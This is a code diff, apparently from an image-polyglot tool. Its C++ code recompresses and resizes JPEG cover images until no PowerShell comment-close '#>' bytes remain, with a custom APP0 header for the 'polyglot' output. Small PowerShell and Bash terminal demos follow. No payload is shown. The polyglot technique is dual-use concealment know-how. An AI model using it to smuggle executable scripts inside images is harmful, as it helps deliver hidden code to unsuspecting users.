0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
0x00, 0x01, 0x01, 0x19, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00
});
return jpg.size() >= COMPATIBLE_JFIF_SIG.size() &&
std::ranges::equal(jpg.first(COMPATIBLE_JFIF_SIG.size()), COMPATIBLE_JFIF_SIG);
}
[[nodiscard]] bool isAlreadyCompatible(std::span<const Byte> jpg) {
return hasCompatibleJfifHeader(jpg) && !containsCommentBlockClose(jpg);
}
struct TiffReader {
std::span<const Byte> bytes;
bool little_endian = false;
[[nodiscard]] std::optional<uint16_t> read16(std::size_t offset) const {
if (offset > bytes.size() || bytes.size() - offset < 2) {
return std::nullopt;
}
if (little_endian) {
return static_cast<uint16_t>(static_cast<uint16_t>(bytes[offset]) |
(static_cast<uint16_t>(bytes[offset + 1]) << 8));
}
return static_cast<uint16_t>((static_cast<uint16_t>(bytes[offset]) << 8) |
static_cast<uint16_t>(bytes[offset + 1]));
}
[[nodiscard]] std::optional<uint32_t> read32(std::size_t offset) const {
if (offset > bytes.size() || bytes.size() - offset < 4) {
return std::nullopt;
}
if (little_endian) {
return static_cast<uint32_t>(bytes[offset]) |
(static_cast<uint32_t>(bytes[offset + 1]) << 8) |
(static_cast<uint32_t>(bytes[offset + 2]) << 16) |
(static_cast<uint32_t>(bytes[offset + 3]) << 24);
}
return (static_cast<uint32_t>(bytes[offset]) << 24) |
(static_cast<uint32_t>(bytes[offset + 1]) << 16) |
(static_cast<uint32_t>(bytes[offset + 2]) << 8) |
static_cast<uint32_t>(bytes[offset + 3]);
}
};
[[nodiscard]] std::optional<bool> tiffIsLittleEndian(std::span<const Byte> tiff_data) {
if (tiff_data.size() < 2) {
return std::nullopt;
}
if (tiff_data[0] == 'I' && tiff_data[1] == 'I') {
return true;
}
if (tiff_data[0] == 'M' && tiff_data[1] == 'M') {
return false;
}
return std::nullopt;
}
[[nodiscard]] std::optional<uint16_t> exifOrientation(std::span<const Byte> jpg) {
constexpr std::size_t EXIF_HEADER_SIZE = 6;
constexpr auto EXIF_SIG = std::to_array<Byte>({'E', 'x', 'i', 'f', '\0', '\0'});
const auto exif_segment = findJpegHeaderSegment(jpg, [&](const JpegSegment& segment) {
return segment.marker == JPEG_MARKER_APP1 &&
segment.payload_size >= EXIF_HEADER_SIZE &&
std::ranges::equal(jpg.subspan(segment.payload_offset, EXIF_HEADER_SIZE), EXIF_SIG);
});
if (!exif_segment) {
return std::nullopt;
}
std::span<const Byte> payload = jpg.subspan(exif_segment->payload_offset, exif_segment->payload_size);
std::span<const Byte> tiff_data = payload.subspan(EXIF_HEADER_SIZE);
if (tiff_data.size() < 8) return std::nullopt;
const auto little_endian = tiffIsLittleEndian(tiff_data);
if (!little_endian) return std::nullopt;
const TiffReader tiff{ .bytes = tiff_data, .little_endian = *little_endian };
if (tiff.read16(2) != 0x002A) return std::nullopt;
const auto ifd_offset = tiff.read32(4);
if (!ifd_offset) return std::nullopt;
// Need at least 2 bytes at ifd_offset for the entry count.
if (*ifd_offset < 8 ||
static_cast<std::size_t>(*ifd_offset) > tiff_data.size() ||
tiff_data.size() - static_cast<std::size_t>(*ifd_offset) < 2) {
return std::nullopt;
}
const auto entry_count = tiff.read16(*ifd_offset);
if (!entry_count) return std::nullopt;
const std::size_t entries_offset = static_cast<std::size_t>(*ifd_offset) + 2;
constexpr uint16_t TAG_ORIENTATION = 0x0112;
constexpr uint16_t TIFF_TYPE_SHORT = 3;
constexpr std::size_t ENTRY_SIZE = 12;
// Bound the loop to the number of entries that actually fit — guards
// against a malicious entry_count larger than the payload allows.
const std::size_t max_entries =
(tiff_data.size() - entries_offset) / ENTRY_SIZE;
const std::size_t bounded_count =
std::min<std::size_t>(*entry_count, max_entries);
for (std::size_t i = 0, current_entry = entries_offset; i < bounded_count; ++i, current_entry += ENTRY_SIZE) {
const auto tag_id = tiff.read16(current_entry);
if (tag_id == TAG_ORIENTATION) {
const auto type = tiff.read16(current_entry + 2);
const auto count = tiff.read32(current_entry + 4);
const auto value = tiff.read16(current_entry + 8);
if (!type || !count || !value ||
*type != TIFF_TYPE_SHORT || *count != 1) {
return std::nullopt;
}
return value;
}
}
return std::nullopt;
}
[[nodiscard]] int getTransformOp(uint16_t orientation) {
switch (orientation) {
case 2: return TJXOP_HFLIP;
case 3: return TJXOP_ROT180;
case 4: return TJXOP_VFLIP;
case 5: return TJXOP_TRANSPOSE;
case 6: return TJXOP_ROT90;
case 7: return TJXOP_TRANSVERSE;
case 8: return TJXOP_ROT270;
default: return TJXOP_NONE;
}
}
struct TJHandle {
tjhandle handle = nullptr;
explicit TJHandle(tjhandle raw_handle = nullptr) : handle(raw_handle) {}
~TJHandle() { if (handle) tjDestroy(handle); }
TJHandle(const TJHandle&) = delete;
TJHandle& operator=(const TJHandle&) = delete;
TJHandle(TJHandle&& other) noexcept : handle(std::exchange(other.handle, nullptr)) {}
TJHandle& operator=(TJHandle&& other) noexcept {
if (this != &other) {
if (handle) tjDestroy(handle);
handle = std::exchange(other.handle, nullptr);
}
return *this;
}
[[nodiscard]] tjhandle get() const { return handle; }
[[nodiscard]] explicit operator bool() const { return handle != nullptr; }
};
[[nodiscard]] TJHandle makeHandle(tjhandle raw_handle, std::string_view init_name) {
if (!raw_handle) {
throw std::runtime_error(std::format("{} failed.", init_name));
}
return TJHandle(raw_handle);
}
[[nodiscard]] unsigned long toTurboJpegSize(std::size_t size) {
if (size == 0 || size > static_cast<std::size_t>(std::numeric_limits<unsigned long>::max())) {
throw std::runtime_error("Image Error: JPEG buffer size is unsupported by TurboJPEG.");
}
return static_cast<unsigned long>(size);
}
[[nodiscard]] ImageSize readJpegSize(tjhandle handle, std::span<const Byte> jpg, std::string_view error_prefix) {
ImageSize size{};
int jpeg_subsamp = 0;
int jpeg_colorspace = 0;
if (tjDecompressHeader3(
handle,
jpg.data(),
toTurboJpegSize(jpg.size()),
&size.width,
&size.height,
&jpeg_subsamp,
&jpeg_colorspace) != 0) {
throw std::runtime_error(std::format("{}: {}", error_prefix, tjGetErrorStr2(handle)));
}
validateImageDimensions(size.width, size.height);
return size;
}
void validateJpegHeader(std::span<const Byte> jpg) {
auto decompressor = makeHandle(tjInitDecompress(), "tjInitDecompress()");
(void)readJpegSize(decompressor.get(), jpg, "Image Error");
}
struct TJBuffer {
unsigned char* data = nullptr;
TJBuffer() = default;
~TJBuffer() { if (data) tjFree(data); }
TJBuffer(const TJBuffer&) = delete;
TJBuffer& operator=(const TJBuffer&) = delete;
};
void assignFromTJBuffer(vBytes& out, const TJBuffer& buffer, unsigned long byte_count) {
if (!buffer.data || byte_count == 0) {
throw std::runtime_error("Image Error: TurboJPEG produced an empty output buffer.");
}
if (byte_count > static_cast<unsigned long>(std::numeric_limits<std::size_t>::max()) ||
byte_count > static_cast<unsigned long>(std::numeric_limits<std::ptrdiff_t>::max())) {
throw std::runtime_error("Image Error: TurboJPEG output is too large to store on this platform.");
}
const auto size = static_cast<std::size_t>(byte_count);
out.assign(buffer.data, buffer.data + size);
}
struct DecodedImage {
ImageSize size{};
vBytes pixels;
};
struct EncodeCandidate {
int subsamp = TJSAMP_444;
int flags = PROGRESSIVE_JPEG_FLAGS;
std::string_view label;
};
constexpr auto ENCODE_CANDIDATES = std::to_array<EncodeCandidate>({
EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS, .label = "4:4:4 default" },
EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS | TJFLAG_ACCURATEDCT, .label = "4:4:4 accurate" },
EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS | TJFLAG_FASTDCT, .label = "4:4:4 fast" }
});
void validateJpegQuality(int quality_val) {
if (quality_val < MIN_JPEG_QUALITY || quality_val > MAX_JPEG_QUALITY) {
throw std::runtime_error("Image Error: JPEG quality value is outside the supported range.");
}
}
void printEncodeProgress(std::string_view phase, std::string_view detail, int quality_val, int width, int height) {
std::print("\r{:<10} {:<14} | Quality: {:>3}% | Width: {:>5} | Height: {:>5}",
phase,
detail,
quality_val,
width,
height);
std::fflush(stdout);
}
void compressPixelsToJpeg(
vBytes& image_file_vec,
std::span<const Byte> pixels,
ImageSize size,
tjhandle compressor,
int quality_val,
const EncodeCandidate& candidate) {
validateJpegQuality(quality_val);
if (pixels.empty()) {
throw std::runtime_error("Image Error: Empty pixel buffer.");
}
if ((candidate.flags & TJFLAG_PROGRESSIVE) == 0) {
throw std::runtime_error("Internal Error: JPEG compression candidate is not progressive.");
}
TJBuffer jpegBuf;
unsigned long jpegSize = 0;
if (tjCompress2(
compressor,
pixels.data(),
size.width,
0,
size.height,
DECODE_PIXEL_FORMAT,
&jpegBuf.data,
&jpegSize,
candidate.subsamp,
quality_val,
candidate.flags) != 0) {
throw std::runtime_error(std::format("tjCompress2: {}", tjGetErrorStr2(compressor)));
}
assignFromTJBuffer(image_file_vec, jpegBuf, jpegSize);
}
[[nodiscard]] DecodedImage decodeJpeg(std::span<const Byte> jpg) {
auto decompressor = makeHandle(tjInitDecompress(), "tjInitDecompress()");
const auto image_size = readJpegSize(decompressor.get(), jpg, "tjDecompressHeader3");
vBytes decoded_image_vec(checkedPixelBufferSize(image_size.width, image_size.height, DECODE_BYTES_PER_PIXEL));
if (tjDecompress2(
decompressor.get(),
jpg.data(),
toTurboJpegSize(jpg.size()),
decoded_image_vec.data(),
image_size.width,
0,
image_size.height,
DECODE_PIXEL_FORMAT,
0) != 0) {
throw std::runtime_error(std::format("tjDecompress2: {}", tjGetErrorStr2(decompressor.get())));
}
return DecodedImage{
.size = image_size,
.pixels = std::move(decoded_image_vec)
};
}
void optimizeImage(vBytes& jpg_vec) {
if (jpg_vec.empty()) {
throw std::runtime_error("JPG image is empty!");
}
auto transformer = makeHandle(tjInitTransform(), "tjInitTransform()");
(void)readJpegSize(transformer.get(), jpg_vec, "Image Error");
tjtransform xform{};
xform.op = getTransformOp(exifOrientation(jpg_vec).value_or(1));
xform.options = TJXOPT_COPYNONE | TJXOPT_TRIM | TJXOPT_PROGRESSIVE;
TJBuffer dstBuffer;
unsigned long dstSize = 0;
if (tjTransform(
transformer.get(),
jpg_vec.data(),
toTurboJpegSize(jpg_vec.size()),
1,
&dstBuffer.data,
&dstSize,
&xform,
0) != 0) {
throw std::runtime_error(std::format("Image Error: {}", tjGetErrorStr2(transformer.get())));
}
assignFromTJBuffer(jpg_vec, dstBuffer, dstSize);
}
void resizeImage(
vBytes& image_file_vec,
const DecodedImage& source,
vBytes& resize_scratch,
tjhandle compressor,
int quality_val,
int decrease_dims_val,
const EncodeCandidate& candidate) {
validateJpegQuality(quality_val);
if (source.size.width < decrease_dims_val || source.size.height < decrease_dims_val) {
throw std::runtime_error(std::format("Image is too small to decrease by {} pixels.", decrease_dims_val));
}
const int new_width = source.size.width - decrease_dims_val;
const int new_height = source.size.height - decrease_dims_val;
if (new_width < MIN_COVER_IMAGE_DIMENSION || new_height < MIN_COVER_IMAGE_DIMENSION) {
throw std::runtime_error("Image Compatibility Error: Unable to remove close-comment block sequences without shrinking below the 400px minimum.");
}
printEncodeProgress("Resize", candidate.label, quality_val, new_width, new_height);
resize_scratch.resize(checkedPixelBufferSize(new_width, new_height, DECODE_BYTES_PER_PIXEL));
if (!stbir_resize_uint8_srgb(source.pixels.data(), source.size.width, source.size.height, 0, resize_scratch.data(), new_width, new_height, 0, RESIZE_PIXEL_LAYOUT)) {
throw std::runtime_error("stbir_resize_uint8_srgb failed.");
}
compressPixelsToJpeg(
image_file_vec,
resize_scratch,
ImageSize{ .width = new_width, .height = new_height },
compressor,
quality_val,
candidate);
}
[[nodiscard]] std::size_t findRequiredDqtOffset(std::span<const Byte> jpg) {
const auto dqt = findJpegHeaderSegment(jpg, [](const JpegSegment& segment) {
return segment.marker == JPEG_MARKER_DQT;
});
if (!dqt) {
throw std::runtime_error("Image File Error: No DQT segment found (corrupt or unsupported JPG).");
}
return dqt->marker_offset;
}
constexpr int AUTO_DOWNSCALE_MAX_DIM = 2048;
void downscaleToFit(vBytes& image_file_vec, int max_dim) {
const DecodedImage source = decodeJpeg(image_file_vec);
const int orig_w = source.size.width;
const int orig_h = source.size.height;
const int max_current = std::max(orig_w, orig_h);
if (max_current <= max_dim) return;
const double scale = static_cast<double>(max_dim) / static_cast<double>(max_current);
const int new_w = std::max(MIN_COVER_IMAGE_DIMENSION, static_cast<int>(static_cast<double>(orig_w) * scale));
const int new_h = std::max(MIN_COVER_IMAGE_DIMENSION, static_cast<int>(static_cast<double>(orig_h) * scale));
vBytes resized_pixels(checkedPixelBufferSize(new_w, new_h, DECODE_BYTES_PER_PIXEL));
if (!stbir_resize_uint8_srgb(
source.pixels.data(), orig_w, orig_h, 0,
resized_pixels.data(), new_w, new_h, 0, RESIZE_PIXEL_LAYOUT)) {
throw std::runtime_error("Image Error: Failed to downscale image.");
}
auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
compressPixelsToJpeg(
image_file_vec, resized_pixels,
ImageSize{ .width = new_w, .height = new_h },
compressor.get(), START_QUALITY, ENCODE_CANDIDATES[0]);
std::println("Auto-downscaled from {}x{} to {}x{} for processing efficiency.", orig_w, orig_h, new_w, new_h);
}
void replaceLeadingMetadataWithCleanJfif(vBytes& image_file_vec) {
const std::size_t dqt_pos = findRequiredDqtOffset(image_file_vec);
vBytes cleaned;
cleaned.reserve(CLEAN_JFIF_SIG.size() + image_file_vec.size() - dqt_pos);
cleaned.insert(cleaned.end(), CLEAN_JFIF_SIG.begin(), CLEAN_JFIF_SIG.end());
cleaned.insert(cleaned.end(),
image_file_vec.begin() + static_cast<std::ptrdiff_t>(dqt_pos),
image_file_vec.end());
image_file_vec = std::move(cleaned);
validateJpegHeader(image_file_vec);
}
[[nodiscard]] bool recompressSameDimensionsUntilCommentBlockFree(vBytes& image_file_vec) {
const DecodedImage source = decodeJpeg(image_file_vec);
auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
for (int quality_val = START_QUALITY; quality_val >= MIN_SAME_DIMENSION_QUALITY; --quality_val) {
for (const auto& candidate : ENCODE_CANDIDATES) {
printEncodeProgress("Recompress", candidate.label, quality_val, source.size.width, source.size.height);
compressPixelsToJpeg(
image_file_vec,
source.pixels,
source.size,
compressor.get(),
quality_val,
candidate);
if (!containsCommentBlockClose(image_file_vec)) {
return true;
}
}
}
return false;
}
[[nodiscard]] bool resizeUntilCommentBlockFree(vBytes& image_file_vec) {
const DecodedImage pristine = decodeJpeg(image_file_vec);
vBytes resize_scratch;
auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
const int max_dim = std::max(pristine.size.width, pristine.size.height);
const int step = std::max(1, max_dim / 300);
for (int attempt = 1; attempt <= MAX_RESIZE_ATTEMPTS; ++attempt) {
const int decrease_dims_val = attempt * step;
if (pristine.size.width - decrease_dims_val < MIN_COVER_IMAGE_DIMENSION ||
pristine.size.height - decrease_dims_val < MIN_COVER_IMAGE_DIMENSION) {
break;
}
const int quality_val = std::clamp(
START_QUALITY - ((attempt / 15) * 2),
MIN_JPEG_QUALITY,
MAX_JPEG_QUALITY);
const auto& candidate = ENCODE_CANDIDATES[static_cast<std::size_t>(attempt - 1) % ENCODE_CANDIDATES.size()];
resizeImage(image_file_vec, pristine, resize_scratch, compressor.get(), quality_val, decrease_dims_val, candidate);
if (!containsCommentBlockClose(image_file_vec)) {
return true;
}
}
return false;
}
}
bool makeTailRetryCandidate(std::span<const Byte> source_jpg, vBytes& out, int retry_index) {
if (retry_index < 0) {
return false;
}
const DecodedImage source = decodeJpeg(source_jpg);
auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
constexpr int QUALITY_CANDIDATE_COUNT = START_QUALITY - MIN_SAME_DIMENSION_QUALITY + 1;
const int same_dimension_candidate_count =
QUALITY_CANDIDATE_COUNT * static_cast<int>(ENCODE_CANDIDATES.size());
if (retry_index < same_dimension_candidate_count) {
const int quality_val = START_QUALITY -
(retry_index / static_cast<int>(ENCODE_CANDIDATES.size()));
const auto& candidate =
ENCODE_CANDIDATES[static_cast<std::size_t>(retry_index) % ENCODE_CANDIDATES.size()];
printEncodeProgress("Tail retry", candidate.label, quality_val, source.size.width, source.size.height);
compressPixelsToJpeg(out, source.pixels, source.size, compressor.get(), quality_val, candidate);
return !containsCommentBlockClose(out);
}
retry_index -= same_dimension_candidate_count;
if (retry_index >= MAX_RESIZE_ATTEMPTS) {
return false;
}
vBytes resize_scratch;
const int decrease_dims_val = retry_index + 1;
const int quality_val = std::clamp(
START_QUALITY - ((decrease_dims_val / 15) * 2),
MIN_JPEG_QUALITY,
MAX_JPEG_QUALITY);
const auto& candidate = ENCODE_CANDIDATES[static_cast<std::size_t>(retry_index) % ENCODE_CANDIDATES.size()];
resizeImage(out, source, resize_scratch, compressor.get(), quality_val, decrease_dims_val, candidate);
return !containsCommentBlockClose(out);
}
bool ensureImageCompatible(vBytes& image_file_vec) {
if (image_file_vec.size() <= JFIF_COMPATIBILITY_MARKER_INDEX) {
throw std::runtime_error("Image File Error: Image too small to process.");
}
validateJpegHeader(image_file_vec);
if (isAlreadyCompatible(image_file_vec)) {
return false;
}
std::println("\nChecking cover image for comment-block close sequences \"#>\" (0x23, 0x3E).\n");
std::println("Image will be progressively recompressed first; dimensions will only be reduced if needed.\n");
optimizeImage(image_file_vec);
downscaleToFit(image_file_vec, AUTO_DOWNSCALE_MAX_DIM);
replaceLeadingMetadataWithCleanJfif(image_file_vec);
if (!containsCommentBlockClose(image_file_vec)) {
return true;
}
if (recompressSameDimensionsUntilCommentBlockFree(image_file_vec)) {
return true;
}
if (resizeUntilCommentBlockFree(image_file_vec)) {
return true;
}
std::println(std::cerr, "\n\nImage Compatibility Error:\n\nProcedure failed to remove close-comment block sequences from cover image.");
throw std::runtime_error("Try another image or use an editor such as GIMP to manually reduce (scale) image dimensions.");
}
+14
View File
@@ -0,0 +1,14 @@
#pragma once
#include "common.h"
#include <span>
// Strips metadata, applies EXIF orientation, and iteratively resizes
// to eliminate comment-block close sequences "#>" (0x23, 0x3E) from the raw JPEG data.
// Returns true if the image was modified.
[[nodiscard]] bool ensureImageCompatible(vBytes& image_file_vec);
// Produces another progressive JPEG candidate from an already-compatible cover image.
// Returns false if the selected candidate still contains a "#>" sequence.
[[nodiscard]] bool makeTailRetryCandidate(std::span<const Byte> source_jpg, vBytes& out, int retry_index);
+82
View File
@@ -0,0 +1,82 @@
#include "jpeg_warning_check.h"
#include <csetjmp>
#include <cstddef>
#include <cstdio>
#include <jerror.h>
#include <jpeglib.h>
#include <vector>
namespace {
struct JpegErrorManager {
jpeg_error_mgr pub{};
jmp_buf jump{};
JpegWarningSummary summary{};
};
extern "C" void errorExit(j_common_ptr cinfo) {
auto* manager = reinterpret_cast<JpegErrorManager*>(cinfo->err);
manager->summary.fatal_error = true;
longjmp(manager->jump, 1);
}
extern "C" void emitMessage(j_common_ptr cinfo, int msg_level) {
if (msg_level >= 0) {
return;
}
auto* manager = reinterpret_cast<JpegErrorManager*>(cinfo->err);
switch (cinfo->err->msg_code) {
case JWRN_EXTRANEOUS_DATA:
++manager->summary.extraneous_data;
break;
case JWRN_JPEG_EOF:
++manager->summary.premature_eof;
break;
default:
break;
}
}
}
JpegWarningSummary inspectJpegWarnings(std::span<const Byte> jpg) {
if (jpg.empty()) {
return JpegWarningSummary{ .fatal_error = true };
}
jpeg_decompress_struct cinfo{};
JpegErrorManager manager{};
bool decompressor_created = false;
cinfo.err = jpeg_std_error(&manager.pub);
manager.pub.error_exit = errorExit;
manager.pub.emit_message = emitMessage;
if (setjmp(manager.jump) != 0) {
if (decompressor_created) {
jpeg_destroy_decompress(&cinfo);
}
return manager.summary;
}
jpeg_create_decompress(&cinfo);
decompressor_created = true;
jpeg_mem_src(&cinfo, jpg.data(), jpg.size());
(void)jpeg_read_header(&cinfo, TRUE);
(void)jpeg_start_decompress(&cinfo);
const std::size_t row_stride = static_cast<std::size_t>(cinfo.output_width) *
static_cast<std::size_t>(cinfo.output_components);
std::vector<Byte> row(row_stride);
while (cinfo.output_scanline < cinfo.output_height) {
Byte* row_ptr = row.data();
(void)jpeg_read_scanlines(&cinfo, &row_ptr, 1);
}
(void)jpeg_finish_decompress(&cinfo);
jpeg_destroy_decompress(&cinfo);
return manager.summary;
}
+31
View File
@@ -0,0 +1,31 @@
#pragma once
#include "common.h"
#include <span>
struct JpegWarningSummary {
bool fatal_error = false;
int extraneous_data = 0;
int premature_eof = 0;
[[nodiscard]] bool hasUnsafeTailWarning() const noexcept {
// The polyglot output uses a custom non-standard JFIF APP0 (JFIF# instead
// of JFIF\0, length 0x0110 = 272 instead of the standard 0x0010 = 16).
// libjpeg-turbo >= 3.0 on arm64 emits JWRN_EXTRANEOUS_DATA when it
// encounters this non-standard APP0, and may also set the fatal_error flag
// as a side effect of losing JPEG stream context after the non-standard segment.
//
// When both fatal_error AND extraneous_data are set simultaneously, the
// fatal_error is a cascading false positive caused by the custom APP0 —
// not a sign of a truly broken JPEG tail.
//
// Only these conditions indicate a genuinely unsafe tail:
// 1. fatal_error without any extraneous_data (a real decode failure)
// 2. premature_eof (truncated JPEG data)
const bool real_fatal = fatal_error && (extraneous_data == 0);
return real_fatal || premature_eof > 0;
}
};
[[nodiscard]] JpegWarningSummary inspectJpegWarnings(std::span<const Byte> jpg);
+117
View File
@@ -0,0 +1,117 @@
Write-Host "Enter the board width (default 20):"
$widthInput = Read-Host
if ([string]::IsNullOrWhiteSpace($widthInput)) {
$Width = 20
}
else {
$Width = [int]$widthInput
}
Write-Host "Enter the board height (default 10):"
$heightInput = Read-Host
if ([string]::IsNullOrWhiteSpace($heightInput)) {
$Height = 10
}
else {
$Height = [int]$heightInput
}
Write-Host "Enter the number of steps (default 50):"
$stepsInput = Read-Host
if ([string]::IsNullOrWhiteSpace($stepsInput)) {
$Steps = 50
}
else {
$Steps = [int]$stepsInput
}
$board = @()
for ($r = 0; $r -lt $Height; $r++) {
$row = @()
for ($c = 0; $c -lt $Width; $c++) {
$randVal = Get-Random -Minimum 0.0 -Maximum 1.0
if ($randVal -lt 0.2) {
$row += $true
}
else {
$row += $false
}
}
$board += , $row
}
function Draw-Board {
param([object[]]$board)
Clear-Host
for ($r = 0; $r -lt $board.Count; $r++) {
$rowStr = ""
for ($c = 0; $c -lt $board[$r].Count; $c++) {
if ($board[$r][$c]) {
$rowStr += "#"
}
else {
$rowStr += "."
}
}
Write-Host $rowStr
}
}
function Get-NeighborCount {
param(
[object[]]$board,
[int]$r,
[int]$c
)
$height = $board.Count
$width = $board[0].Count
$count = 0
for ($dr = -1; $dr -le 1; $dr++) {
for ($dc = -1; $dc -le 1; $dc++) {
if ($dr -eq 0 -and $dc -eq 0) {
continue
}
$nr = $r + $dr
$nc = $c + $dc
if ($nr -ge 0 -and $nr -lt $height -and
$nc -ge 0 -and $nc -lt $width) {
if ($board[$nr][$nc]) {
$count++
}
}
}
}
return $count
}
function Next-Board {
param([object[]]$board)
$height = $board.Count
$width = $board[0].Count
$newBoard = @()
for ($r = 0; $r -lt $height; $r++) {
$newRow = @()
for ($c = 0; $c -lt $width; $c++) {
$alive = $board[$r][$c]
$neighbors = Get-NeighborCount -board $board -r $r -c $c
if ($alive) {
if ($neighbors -lt 2 -or $neighbors -gt 3) {
$newRow += $false
}
else {
$newRow += $true
}
}
else {
if ($neighbors -eq 3) {
$newRow += $true
}
else {
$newRow += $false
}
}
}
$newBoard += , $newRow
}
return $newBoard
}
for ($i = 1; $i -le $Steps; $i++) {
Draw-Board -board $board
$board = Next-Board -board $board
Start-Sleep -Milliseconds 200
}
+171
View File
@@ -0,0 +1,171 @@
#!/bin/bash
#
# Matrix Rain
#
# Half-width Katakana, alphanumeric, and special characters
# Color gradient trail: bright white head → green body → dark green tail → erased
# - Per-stream variable speed and random gaps between streams
# - Buffered frame output (single printf per frame, no subshells in hot loop)
# - Terminal resize handling (SIGWINCH)
# - Shimmer effect: trail characters randomly change each frame
set -u
MUSIC_PID=""
url="https://cleasbycode.co.uk/media/matrix2.webm"
if command -v mpv &>/dev/null; then
mpv --no-video "$url" &>/dev/null &
MUSIC_PID=$!
elif command -v cvlc &>/dev/null; then
cvlc --no-video --play-and-exit "$url" &>/dev/null &
MUSIC_PID=$!
fi
# -- Setup --
printf '\e[?25l\e[2J\e[H'
# Put terminal in raw mode so key presses are immediate (no Enter needed)
old_tty=$(stty -g)
stty -echo -icanon min 0 time 0
cleanup() {
[[ -n "$MUSIC_PID" ]] && kill "$MUSIC_PID" 2>/dev/null
stty "$old_tty"
printf '\e[?25h\e[0m\e[2J\e[H'
exit 0
}
trap cleanup INT TERM EXIT
cols=$(tput cols)
rows=$(tput lines)
recalc() {
cols=$(tput cols)
rows=$(tput lines)
num_streams=$cols
((num_streams < 1)) && num_streams=1
printf '\e[2J'
}
trap recalc WINCH
# Single-cell characters — one stream per column
cell_w=1
num_streams=$cols
((num_streams < 1)) && num_streams=1
# Matrix character set: half-width Katakana + digits + Latin + punctuation/symbols
chars=(
# Half-width Katakana (the iconic Matrix look)
ソ
# Digits
0 1 2 3 4 5 6 7 8 9
# Latin
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
a b c d e f g h i j k l m n o p q r s t u v w x y z
# Symbols / special characters
'!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '+' '=' '<' '>' '?' '/'
'{' '}' '[' ']' '|' ':' ';' '~'
)
nchars=${#chars[@]}
# Trail color gradient (head to tail)
C_HEAD='\e[1;97m' # bold bright white (leading character)
C_NEAR='\e[1;92m' # bold bright green (just behind head)
C_BODY='\e[38;5;46m' # bright green (upper trail)
C_MID='\e[38;5;34m' # medium green (mid trail)
C_TAIL='\e[38;5;22m' # dark green (lower trail)
C_DIM='\e[38;5;236m' # near-black (fading out)
# -- Per-stream state arrays --
declare -a s_row s_len s_spd s_gap s_on
reset_stream() {
local i=$1
s_row[$i]=$(( -(RANDOM % (rows / 2 + 1)) )) # start above screen
s_len[$i]=$(( RANDOM % 14 + 6 )) # trail length 6-19
s_spd[$i]=$(( RANDOM % 2 + 1 )) # speed 1-2 rows/frame
s_on[$i]=1
}
for ((i = 0; i < num_streams; i++)); do
reset_stream "$i"
done
# -- Main loop --
while true; do
buf=''
for ((i = 0; i < num_streams; i++)); do
# Handle inactive streams (gap countdown)
if (( !s_on[i] )); then
(( --s_gap[i] <= 0 )) && reset_stream "$i"
continue
fi
c=$((i * cell_w + 1)) # 1-based terminal column
h=${s_row[i]}
l=${s_len[i]}
# -- Draw the gradient trail from head to tail --
# Head: bright white (the leading drop)
if (( h >= 1 && h <= rows )); then
buf+="\e[${h};${c}H${C_HEAD}${chars[RANDOM % nchars]}"
fi
# 1 behind: bold bright green
(( p = h - 1 ))
if (( p >= 1 && p <= rows )); then
buf+="\e[${p};${c}H${C_NEAR}${chars[RANDOM % nchars]}"
fi
# Upper trail body: bright green (shimmer)
(( p = h - l / 4 ))
if (( p >= 1 && p <= rows && RANDOM % 2 == 0 )); then
buf+="\e[${p};${c}H${C_BODY}${chars[RANDOM % nchars]}"
fi
# Mid trail: medium green (shimmer)
(( p = h - l / 2 ))
if (( p >= 1 && p <= rows && RANDOM % 3 == 0 )); then
buf+="\e[${p};${c}H${C_MID}${chars[RANDOM % nchars]}"
fi
# Lower trail: dark green (shimmer)
(( p = h - 3 * l / 4 ))
if (( p >= 1 && p <= rows && RANDOM % 3 == 0 )); then
buf+="\e[${p};${c}H${C_TAIL}${chars[RANDOM % nchars]}"
fi
# Fading out: near-black just before erase
(( p = h - l + 1 ))
if (( p >= 1 && p <= rows )); then
buf+="\e[${p};${c}H${C_DIM}${chars[RANDOM % nchars]}"
fi
# Erase: clear the tail end
(( p = h - l ))
if (( p >= 1 && p <= rows )); then
buf+="\e[${p};${c}H "
fi
# Advance the stream
(( s_row[i] += s_spd[i] ))
# Deactivate when fully off-screen
if (( h - l > rows )); then
s_on[$i]=0
s_gap[$i]=$(( RANDOM % 40 + 5 )) # pause 5-44 frames before restart
fi
done
printf '%b' "$buf"
# Exit on any key press
if read -rsn1 -t 0.035 _; then
break
fi
done
+64
View File
@@ -0,0 +1,64 @@
# text-sine.ps1 created by Darren Shaw / @gierrofo
# Make a command-line sine wave
# Powershell trig functions work on radians
# rad = deg * (pi/180)
# To get value between 0 and -1
# [math]::sin($deg * ([math]::pi/180))
# Uses [system.console]::keyavailable to check if a key has been pressed, stopping if it has.
# Setup some variables
$hostwidth = $Host.UI.RawUI.WindowSize.Width
$display_char= ".-=:§[#]§:=-."
$dcl = $display_char.length
$hostwidth = ($hostwidth - (2 * $dcl)) / 2
$centre = $hostwidth + ($dcl / 2)
$delay = 15
$continue = $true
$str_colours = "DarkGreen", "DarkCyan", "DarkYellow", "Gray", "DarkGray", "Green", "Cyan", "Red", "Magenta", "Yellow", "White"
$change_colour = 360 / $str_colours.count
$clear_screen_after = $str_colours.count * 4
$number_of_runs = 0
$lowest_speed = 2
$speed = $lowest_speed
$speed_inc = 1
$max_speed = 18
Clear-Host
While ($continue -eq $true) {
$str_colours = $str_colours | Sort-Object {Get-Random} # Shuffle the colour order
For ($deg = -90; $deg -lt 270; $deg = $deg + $speed) { # Start at -90 to draw at left-hand column
# Calcualte where we're drawing
$offset_delta = [math]::sin($deg * ([math]::pi/180))
$offset = ($centre * $offset_delta)
$location = [math]::round($centre + $offset + $dcl)
# Pad the string to get us to the location
$display_str = $display_char.PadLeft($location, " ")
# Change the colour at equal time based on how many colours we're using
$str_colour_num = [math]::truncate(($deg / $change_colour))
$str_colour = $str_colours[$str_colour_num]
# Write the string
Write-Host -ForegroundColor ${str_colour} "${display_str}"
